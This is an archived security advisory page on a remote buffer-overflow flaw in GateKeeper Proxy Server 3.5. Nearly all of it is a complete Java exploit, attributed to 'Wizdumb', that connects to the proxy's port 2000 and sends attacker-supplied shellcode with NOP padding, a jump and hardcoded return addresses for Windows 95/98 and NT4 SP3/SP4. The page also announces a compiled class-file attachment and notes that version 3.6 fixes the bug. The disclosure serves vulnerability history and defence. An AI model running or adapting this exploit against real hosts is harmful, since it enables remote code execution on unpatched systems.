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TUCoPS :: Unix :: General :: gkeepe-1.htm

MDMA Crew's GateKeeper Proxy Server exploitable flaw



Vulnerability

    GateKeeper

Affected

    MDMA Crew's GateKeeper

Description

    wizdumb found  following.   He covered  a flaw  in Gatekeeper 3.5.
    Below You will find the Java src and the bytecode attached.

    /* gkwarez.java by Andrew Lewis aka. Wizdumb
     * <wizdumb@leet.org || www.mdma.za.net || wizdumb@IRC>
     *
     * Remote exploit for Gatekeeper Proxy Server 3.5 (and prior versions?).
     * Written as proof of concept code only - the MDMA crew do not condone
     * illegal activities in any way what-so-ever.
     *
     * This code is now public - Gatekeeper version 3.6 is out. :-)
     *
     * Shellcode is handled plug and play style for flexibility and defence
     * against script kiddies. :) Oh, and coz I'm too dumb to make some and too
     * lazy to find some. :P Also note that nulls in your shellcode are fine for
     * this daemon - just beware of terminating newlines.
     *
     * Greetz to everyone in MDMA, USSRLabs, b10z, and BlabberNet's #hack
     */
    
    import java.io.*;
    import java.net.*;
    
    class gkwarez {
    
    public static void main(String[] args) throws IOException {
    
      if (args.length != 3) {
        System.out.println("Syntax: java gkwarez [host] [shellcode-file] [version]\n");
        System.out.println("Shellcode file is code you want to execute on the host");
        System.out.println("Valid versions are 95 (Win95), 98 (Win98), 3 (NT4/SP3) and 4 (NT4/SP4)");
        System.exit(1); }
    
      int c;
      Socket soq = null;
      char[] wet = null;
      PrintWriter white = null;
      BufferedReader hellkode = null;
    
      char nop  = 0x90;
      char[] jmpcode = { 0xE9, 0xF9, 0xEF, 0x90 };
    
      // Static addys for "call eax" (backwards) - any1 know of more? mail me. :)
      char[] retwin95 = { 0x30, 0x11, 0x71, 0x7F };
      char[] retwin98 = { 0x7B, 0xFF, 0xF7, 0xBF };
      char[] retntsp3 = { 0xC7, 0x5A, 0xFA, 0x77 };
      char[] retntsp4 = { 0x5D, 0x63, 0xF7, 0x77 };
    
      try {
        switch (Integer.parseInt(args[2])) {
          case 95:
            wet = retwin95;
            break;
          case 98:
            wet = retwin98;
            break;
          case 3:
            wet = retntsp3;
            break;
          case 4:
            wet = retntsp4;
            break;
          default:
            System.out.println("Version specified invalid: Expecting 95, 98, 3, or 4");
            System.exit(1);
            break; } } catch (Exception e) {
              System.out.println("Version specified invalid: Expecting 95, 98, 3, or 4");
              System.exit(1); }
    
      try {
        hellkode = new BufferedReader(new FileReader(args[1]));
      } catch (Exception e) {
        System.out.println("Unable to open file: " + args[1]);
        System.exit(1); }
    
      try {
        soq = new Socket(args[0], 2000);
        white = new PrintWriter(soq.getOutputStream(), true);
      } catch (Exception e) {
        System.out.println("Problems connecting :-/");
        System.exit(1); }
    
      for (int i = 0; i <= 4800; i++) {
        if ((c = hellkode.read()) != -1) {
          white.write(c);
          if (i == 4096) {
            System.out.println("Shellcode specified is too big (4095 bytes max). Bailing out...");
            System.exit(1); } }
        else {
          if (i == 4096) {
            white.print(jmpcode);
            white.print(wet); }
          else white.print(nop); } }
      white.println();
      System.out.println("Payload sent!"); } }

    And, here's the gkwarez.class:

    ---
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    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="gkwarez.class"
    Content-MD5: qpjsTW7tRE944zc1xMirRA==
    
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    -----

Solution

    Gatekeeper 3.6 is out now it fixed bug above.


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